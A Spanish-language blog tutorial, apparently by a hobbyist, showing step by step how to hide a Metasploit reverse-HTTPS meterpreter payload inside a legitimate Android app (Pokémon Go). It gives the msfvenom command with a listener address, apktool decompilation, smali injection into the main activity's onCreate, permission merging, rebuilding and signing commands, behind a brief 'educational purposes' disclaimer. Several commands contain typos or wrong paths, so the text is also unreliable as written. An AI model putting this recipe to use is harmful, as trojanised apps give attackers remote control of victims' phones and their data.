Hola a todos.
Antes de empezar, quiero, como ya
sabréis, que todos estos posts son para fines educativos, y no me
hago responsable del uso que hagáis con las informaciones contenidas
en este blog.
Esto hay que señalarlo por lo delicada
que es la información de este post.
Además, te invito a que me sigas tanto
en twitter @manugomez1977, en instagram manugomez1977 y en facebook
en la Página Manugomez1977. Así como a que pinches en la publicidad
para poder seguir con los posts.
En el día de hoy vamos a ver cómo
podremos infectar una app legítima de android con un payload hecho
con msfvenom.
Podréis comprobar, según las capturas
de pantalla, que me va a durar varios días, porque la cosa es un
poquito larga.
En primer lugar, instalaremos la
versión apktool de
https://ibotpeaches.github.io/Apktool/install
, da igual que tengamos la apktool instalada por defecto en nuestro
Kali, ya que no va bien. En Kali 1 moto, no haría falta. Sólo hay que tener cuidado que cambian los parámetros.
Debéis seguir los pasos de instalación
que tenéis. Lo obviaré porque está bien explicado.
Una vez instalado, estará en
/usr/local/bin
Crearemos el payload
msfvenom -p
android/meterpreter/reverse_https LHOST=192.168.1.134 LPORT=4895 -o
meterpreter.apk
meteré meterpreter.apk y la app
víctima, en mi caso pokemongo.apk (jajajaja) en la carpteta
pokemongo (llamarla como queráis, es indiferente).
Ahora, descompilamos meterpreter.apk y
pokemongo.apk
/usr/local/bin/apktool d -f -o payload
/root/meterpreter.apk
Meterá los archivos dentro del
directorio payload
/usr/local/bin/apktool d -f -o victima
/root/meterpreter.apk
Meterá los archivos dentro del
directorio victima
Nos vamos a /root/victima/smali/com y
creamos el directorio metasploit.
Nos vamos a
/root/victima/smali/com/metasploit y creamos el directorio stage.
Copiamos todos los archivos .smali de
payload/smali/com/metasploit/stage y los pegamos en
victima/smali/com/metasploit/stage
Abrimos el fichero AndroidManifest.xml
de la aplicación víctima y buscamos una etiqueta <activity>
que contenga las líneas
<action
android:name=”android.intent.action.MAIN”/>
<category
android:name=”android.intent.category.LAUNCHER”/>
En la misma etiqueta <activity>,
buscamos android:name= .El valor de atributo estará detrás.
android:name=VALORDELATRIBUTO.
Nos fijaremos que, entre cada
parámetro, va a haber dos puntos ':'.
La actividad main de la aplicación
víctima será el valor del atributo, cambiando los dos puntos por /.
Por lo tanto, la actividad main, en
nuestro caso, será
victima/smali/com/unity3d/player/UnityPlayerNativeActivity.smali
Abrimos ese fichero
Buscamos el método onCreate
;->onCreate(Landroid/os/Bundle;)V
No
cerramos el fichero y, en otra terminal, abrimos el fichero
victima/smali/com/metasploit/stage/MainService.smali
Buscamos
invoke-static
{p0},
Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Copiamos
esta línea y la pegamos justo debajo del método onCreate del
fichero
victima/smali/com/unity3d/player/UnityPlayerNativeActivity.smali
Guardamos
(por supuesto).
Ahora,
abrimos, por un lado
/victima/AndroidManifest.xml
y
por otro
/payload/AndroidMainfest.xml
En
la imagen de la izquierda veremos el AndroidManifest.xml de la
aplicación víctima y en la derecha, el del payload
Copiamos
los permisos del payload que no estén en los de la app víctima, en
el AndroidManifest.xml de esta última. Ten cuidado de no repetirlos
y de que no te falte ninguno, pues no funcionará. Hay que tener
definidos TODOS los permisos.
Guardamos
el último fichero y salimos.
Ahora
queda recompilar la aplicación víctima (repito, en mi caso,
pokemongo).
/usr/local/bin/apketool
b /root/original
El
archivo apk de la aplicación infectada se grabará en el directorio
/victima/dist/
Ahora,
queda por firmar la app infectada, puesto que android sólo ejecuta
apps firmadas.
jarsigner
-verbose -keystore /root/.android/debug.keystore -storepass android
-keypass android -digestalg SHA1 -sigalg MD5withRSA
/root/pokemongo/victima/dist/pokemongo.apk androiddebugkey
Si
no funciona, quitar la parte de -sigalg
Para
crear el debug.keystore:
Creamos
el directorio /root/.android
keytool
-genkey -v -keystore /root/.android/degug.keystore -storepass android
-allias androiddebugkey -keypass android -dname “DN=Android
Debug,O=Android,C=ES”
Happy
hacking